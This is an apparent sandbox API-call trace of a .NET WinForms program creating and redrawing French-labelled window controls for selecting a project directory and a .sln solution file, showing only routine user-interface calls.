[0045.694] GetWindowLongW (hWnd=0x301ae, nIndex=-12) returned 0 [0045.694] SetWindowLongW (hWnd=0x301ae, nIndex=-12, dwNewLong=197038) returned 0 [0045.694] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.694] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.694] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x0 [0045.694] GetWindow (hWnd=0x301ae, uCmd=0x3) returned 0x301b2 [0045.694] GetClientRect (in: hWnd=0x301ae, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.694] GetWindowRect (in: hWnd=0x301ae, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.695] GetParent (hWnd=0x301ae) returned 0x50120 [0045.695] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e480, cPoints=0x2 | out: lpPoints=0x32e480) returned -7405888 [0045.695] SetWindowTextW (hWnd=0x301ae, lpString="Repertoire Projet 2 : ") returned 1 [0045.695] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xc, wParam=0x0, lParam=0x258d738) returned 0x1 [0045.695] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0045.695] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x3, wParam=0x0, lParam=0xaf000d) returned 0x0 [0045.695] GetClientRect (in: hWnd=0x301ae, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.695] GetWindowRect (in: hWnd=0x301ae, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.695] GetParent (hWnd=0x301ae) returned 0x50120 [0045.695] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4d8, cPoints=0x2 | out: lpPoints=0x32e4d8) returned -7405888 [0045.695] SendMessageW (hWnd=0x301ae, Msg=0x2210, wParam=0x1ae0001, lParam=0x301ae) returned 0x0 [0045.695] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x2210, wParam=0x1ae0001, lParam=0x301ae) returned 0x0 [0045.695] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.695] GetParent (hWnd=0x301ae) returned 0x50120 [0045.695] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.696] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.696] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.696] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=139, nWidth=0, nHeight=13, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x201e8 [0045.696] SetWindowLongW (hWnd=0x201e8, nIndex=-4, dwNewLong=1942665417) returned 14289222 [0045.696] GetWindowLongW (hWnd=0x201e8, nIndex=-4) returned 1942665417 [0045.696] SetWindowLongW (hWnd=0x201e8, nIndex=-4, dwNewLong=14289462) returned 1942665417 [0045.696] GetWindowLongW (hWnd=0x201e8, nIndex=-4) returned 14289462 [0045.696] GetWindowLongW (hWnd=0x201e8, nIndex=-16) returned 1174405133 [0045.696] GetWindowLongW (hWnd=0x201e8, nIndex=-12) returned 0 [0045.696] SetWindowLongW (hWnd=0x201e8, nIndex=-12, dwNewLong=131560) returned 0 [0045.696] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.697] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.697] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x0 [0045.697] GetWindow (hWnd=0x201e8, uCmd=0x3) returned 0x301ae [0045.697] GetClientRect (in: hWnd=0x201e8, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.697] GetWindowRect (in: hWnd=0x201e8, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.697] GetParent (hWnd=0x201e8) returned 0x50120 [0045.697] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e480, cPoints=0x2 | out: lpPoints=0x32e480) returned -7405888 [0045.697] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0045.697] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x3, wParam=0x0, lParam=0x8b00b5) returned 0x0 [0045.697] GetClientRect (in: hWnd=0x201e8, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.697] GetWindowRect (in: hWnd=0x201e8, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.697] GetParent (hWnd=0x201e8) returned 0x50120 [0045.697] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4d8, cPoints=0x2 | out: lpPoints=0x32e4d8) returned -7405888 [0045.697] SendMessageW (hWnd=0x201e8, Msg=0x2210, wParam=0x1e80001, lParam=0x201e8) returned 0x0 [0045.697] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x2210, wParam=0x1e80001, lParam=0x201e8) returned 0x0 [0045.698] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.698] GetParent (hWnd=0x201e8) returned 0x50120 [0045.698] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.698] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.698] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.698] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Repertoire Projet 1 : ", dwStyle=0x5680000d, X=12, Y=134, nWidth=163, nHeight=23, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x201e6 [0045.698] SetWindowLongW (hWnd=0x201e6, nIndex=-4, dwNewLong=1942665417) returned 14289222 [0045.698] GetWindowLongW (hWnd=0x201e6, nIndex=-4) returned 1942665417 [0045.699] SetWindowLongW (hWnd=0x201e6, nIndex=-4, dwNewLong=14289502) returned 1942665417 [0045.699] GetWindowLongW (hWnd=0x201e6, nIndex=-4) returned 14289502 [0045.699] GetWindowLongW (hWnd=0x201e6, nIndex=-16) returned 1182793741 [0045.699] GetWindowLongW (hWnd=0x201e6, nIndex=-12) returned 0 [0045.699] SetWindowLongW (hWnd=0x201e6, nIndex=-12, dwNewLong=131558) returned 0 [0045.699] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.699] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.699] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x0 [0045.699] GetWindow (hWnd=0x201e6, uCmd=0x3) returned 0x201e8 [0045.699] GetClientRect (in: hWnd=0x201e6, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.699] GetWindowRect (in: hWnd=0x201e6, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.699] GetParent (hWnd=0x201e6) returned 0x50120 [0045.699] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e480, cPoints=0x2 | out: lpPoints=0x32e480) returned -7405888 [0045.699] SetWindowTextW (hWnd=0x201e6, lpString="Repertoire Projet 1 : ") returned 1 [0045.699] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xc, wParam=0x0, lParam=0x258d8c4) returned 0x1 [0045.700] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0045.700] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x3, wParam=0x0, lParam=0x87000d) returned 0x0 [0045.700] GetClientRect (in: hWnd=0x201e6, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.700] GetWindowRect (in: hWnd=0x201e6, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.700] GetParent (hWnd=0x201e6) returned 0x50120 [0045.700] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4d8, cPoints=0x2 | out: lpPoints=0x32e4d8) returned -7405888 [0045.700] SendMessageW (hWnd=0x201e6, Msg=0x2210, wParam=0x1e60001, lParam=0x201e6) returned 0x0 [0045.700] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x2210, wParam=0x1e60001, lParam=0x201e6) returned 0x0 [0045.700] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.700] GetParent (hWnd=0x201e6) returned 0x50120 [0045.700] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.700] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.700] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.700] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=96, nWidth=0, nHeight=13, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x501b8 [0045.701] SetWindowLongW (hWnd=0x501b8, nIndex=-4, dwNewLong=1942665417) returned 14289222 [0045.701] GetWindowLongW (hWnd=0x501b8, nIndex=-4) returned 1942665417 [0045.701] SetWindowLongW (hWnd=0x501b8, nIndex=-4, dwNewLong=14289542) returned 1942665417 [0045.701] GetWindowLongW (hWnd=0x501b8, nIndex=-4) returned 14289542 [0045.701] GetWindowLongW (hWnd=0x501b8, nIndex=-16) returned 1174405133 [0045.701] GetWindowLongW (hWnd=0x501b8, nIndex=-12) returned 0 [0045.701] SetWindowLongW (hWnd=0x501b8, nIndex=-12, dwNewLong=328120) returned 0 [0045.701] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.701] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.701] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x0 [0045.702] GetWindow (hWnd=0x501b8, uCmd=0x3) returned 0x201e6 [0045.702] GetClientRect (in: hWnd=0x501b8, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.702] GetWindowRect (in: hWnd=0x501b8, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.702] GetParent (hWnd=0x501b8) returned 0x50120 [0045.702] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e480, cPoints=0x2 | out: lpPoints=0x32e480) returned -7405888 [0045.702] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0045.702] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x3, wParam=0x0, lParam=0x6000b5) returned 0x0 [0045.702] GetClientRect (in: hWnd=0x501b8, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.702] GetWindowRect (in: hWnd=0x501b8, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.702] GetParent (hWnd=0x501b8) returned 0x50120 [0045.702] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4d8, cPoints=0x2 | out: lpPoints=0x32e4d8) returned -7405888 [0045.702] SendMessageW (hWnd=0x501b8, Msg=0x2210, wParam=0x1b80001, lParam=0x501b8) returned 0x0 [0045.702] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x2210, wParam=0x1b80001, lParam=0x501b8) returned 0x0 [0045.702] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.702] GetParent (hWnd=0x501b8) returned 0x50120 [0045.702] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.703] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.703] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.703] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", dwStyle=0x5680000d, X=12, Y=91, nWidth=163, nHeight=23, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x301bc [0045.703] SetWindowLongW (hWnd=0x301bc, nIndex=-4, dwNewLong=1942665417) returned 14289222 [0045.703] GetWindowLongW (hWnd=0x301bc, nIndex=-4) returned 1942665417 [0045.704] SetWindowLongW (hWnd=0x301bc, nIndex=-4, dwNewLong=14332694) returned 1942665417 [0045.704] GetWindowLongW (hWnd=0x301bc, nIndex=-4) returned 14332694 [0045.704] GetWindowLongW (hWnd=0x301bc, nIndex=-16) returned 1182793741 [0045.704] GetWindowLongW (hWnd=0x301bc, nIndex=-12) returned 0 [0045.704] SetWindowLongW (hWnd=0x301bc, nIndex=-12, dwNewLong=197052) returned 0 [0045.705] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.705] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.705] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x0 [0045.705] GetWindow (hWnd=0x301bc, uCmd=0x3) returned 0x501b8 [0045.705] GetClientRect (in: hWnd=0x301bc, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.705] GetWindowRect (in: hWnd=0x301bc, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.705] GetParent (hWnd=0x301bc) returned 0x50120 [0045.705] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e480, cPoints=0x2 | out: lpPoints=0x32e480) returned -7405888 [0045.705] SetWindowTextW (hWnd=0x301bc, lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 1 [0045.705] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xc, wParam=0x0, lParam=0x258d7e4) returned 0x1 [0045.705] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0045.706] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x3, wParam=0x0, lParam=0x5c000d) returned 0x0 [0045.706] GetClientRect (in: hWnd=0x301bc, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.706] GetWindowRect (in: hWnd=0x301bc, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.706] GetParent (hWnd=0x301bc) returned 0x50120 [0045.706] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4d8, cPoints=0x2 | out: lpPoints=0x32e4d8) returned -7405888 [0045.706] SendMessageW (hWnd=0x301bc, Msg=0x2210, wParam=0x1bc0001, lParam=0x301bc) returned 0x0 [0045.706] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x2210, wParam=0x1bc0001, lParam=0x301bc) returned 0x0 [0045.706] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.706] GetParent (hWnd=0x301bc) returned 0x50120 [0045.706] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.706] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.706] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.706] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=58, nWidth=0, nHeight=13, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x301da [0045.706] SetWindowLongW (hWnd=0x301da, nIndex=-4, dwNewLong=1942665417) returned 14289222 [0045.707] GetWindowLongW (hWnd=0x301da, nIndex=-4) returned 1942665417 [0045.707] SetWindowLongW (hWnd=0x301da, nIndex=-4, dwNewLong=14332758) returned 1942665417 [0045.707] GetWindowLongW (hWnd=0x301da, nIndex=-4) returned 14332758 [0045.707] GetWindowLongW (hWnd=0x301da, nIndex=-16) returned 1174405133 [0045.707] GetWindowLongW (hWnd=0x301da, nIndex=-12) returned 0 [0045.707] SetWindowLongW (hWnd=0x301da, nIndex=-12, dwNewLong=197082) returned 0 [0045.707] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.707] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.707] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x0 [0045.707] GetWindow (hWnd=0x301da, uCmd=0x3) returned 0x301bc [0045.707] GetClientRect (in: hWnd=0x301da, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.707] GetWindowRect (in: hWnd=0x301da, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.707] GetParent (hWnd=0x301da) returned 0x50120 [0045.707] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e480, cPoints=0x2 | out: lpPoints=0x32e480) returned -7405888 [0045.708] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0045.708] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x3, wParam=0x0, lParam=0x3a00b5) returned 0x0 [0045.708] GetClientRect (in: hWnd=0x301da, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.708] GetWindowRect (in: hWnd=0x301da, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.708] GetParent (hWnd=0x301da) returned 0x50120 [0045.708] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4d8, cPoints=0x2 | out: lpPoints=0x32e4d8) returned -7405888 [0045.708] SendMessageW (hWnd=0x301da, Msg=0x2210, wParam=0x1da0001, lParam=0x301da) returned 0x0 [0045.708] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x2210, wParam=0x1da0001, lParam=0x301da) returned 0x0 [0045.708] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.708] GetParent (hWnd=0x301da) returned 0x50120 [0045.708] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.708] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.708] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.709] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Fichier solution du projet :", dwStyle=0x5680000d, X=12, Y=53, nWidth=163, nHeight=23, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x201e2 [0045.709] SetWindowLongW (hWnd=0x201e2, nIndex=-4, dwNewLong=1942665417) returned 14289222 [0045.709] GetWindowLongW (hWnd=0x201e2, nIndex=-4) returned 1942665417 [0045.709] SetWindowLongW (hWnd=0x201e2, nIndex=-4, dwNewLong=14332798) returned 1942665417 [0045.709] GetWindowLongW (hWnd=0x201e2, nIndex=-4) returned 14332798 [0045.709] GetWindowLongW (hWnd=0x201e2, nIndex=-16) returned 1182793741 [0045.709] GetWindowLongW (hWnd=0x201e2, nIndex=-12) returned 0 [0045.709] SetWindowLongW (hWnd=0x201e2, nIndex=-12, dwNewLong=131554) returned 0 [0045.709] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.709] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.710] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x0 [0045.710] GetWindow (hWnd=0x201e2, uCmd=0x3) returned 0x301da [0045.710] GetClientRect (in: hWnd=0x201e2, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.710] GetWindowRect (in: hWnd=0x201e2, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.710] GetParent (hWnd=0x201e2) returned 0x50120 [0045.710] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e480, cPoints=0x2 | out: lpPoints=0x32e480) returned -7405888 [0045.710] SetWindowTextW (hWnd=0x201e2, lpString="Fichier solution du projet :") returned 1 [0045.710] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xc, wParam=0x0, lParam=0x258d50c) returned 0x1 [0045.710] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0045.710] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x3, wParam=0x0, lParam=0x36000d) returned 0x0 [0045.710] GetClientRect (in: hWnd=0x201e2, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.710] GetWindowRect (in: hWnd=0x201e2, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.710] GetParent (hWnd=0x201e2) returned 0x50120 [0045.710] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4d8, cPoints=0x2 | out: lpPoints=0x32e4d8) returned -7405888 [0045.710] SendMessageW (hWnd=0x201e2, Msg=0x2210, wParam=0x1e20001, lParam=0x201e2) returned 0x0 [0045.710] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x2210, wParam=0x1e20001, lParam=0x201e2) returned 0x0 [0045.710] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.710] GetParent (hWnd=0x201e2) returned 0x50120 [0045.710] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.711] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.711] GetClassInfoW (in: hInstance=0x0, lpClassName="BUTTON", lpWndClass=0x25ad068 | out: lpWndClass=0x25ad068) returned 1 [0045.711] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.712] CoTaskMemAlloc (cb=0x58) returned 0x5ee078 [0045.712] RegisterClassW (lpWndClass=0x32eb78) returned 0xc13a [0045.712] CoTaskMemFree (pv=0x5ee078) [0045.712] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.712] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r14_ad1", lpWindowName="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", dwStyle=0x5601000b, X=350, Y=21, nWidth=163, nHeight=29, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x201e4 [0045.712] SetWindowLongW (hWnd=0x201e4, nIndex=-4, dwNewLong=1942729877) returned 14332838 [0045.712] GetWindowLongW (hWnd=0x201e4, nIndex=-4) returned 1942729877 [0045.712] SetWindowLongW (hWnd=0x201e4, nIndex=-4, dwNewLong=14332878) returned 1942729877 [0045.712] GetWindowLongW (hWnd=0x201e4, nIndex=-4) returned 14332878 [0045.712] GetWindowLongW (hWnd=0x201e4, nIndex=-16) returned 1174470667 [0045.712] GetWindowLongW (hWnd=0x201e4, nIndex=-12) returned 0 [0045.712] SetWindowLongW (hWnd=0x201e4, nIndex=-12, dwNewLong=131556) returned 0 [0045.713] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.713] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.713] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x0 [0045.713] SendMessageW (hWnd=0x201e4, Msg=0x2055, wParam=0x201e4, lParam=0x3) returned 0x2 [0045.713] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0045.713] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0045.713] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0045.713] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.714] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.714] RedrawWindow (hWnd=0x301b0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.714] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.714] InvalidateRect (hWnd=0x301ac, lpRect=0x0, bErase=1) returned 1 [0045.714] RedrawWindow (hWnd=0x301ac, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.714] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.714] RedrawWindow (hWnd=0x301b2, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.714] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.714] RedrawWindow (hWnd=0x301ae, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.714] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.714] RedrawWindow (hWnd=0x201e8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.714] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.714] RedrawWindow (hWnd=0x201e6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.714] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.714] RedrawWindow (hWnd=0x501b8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.715] 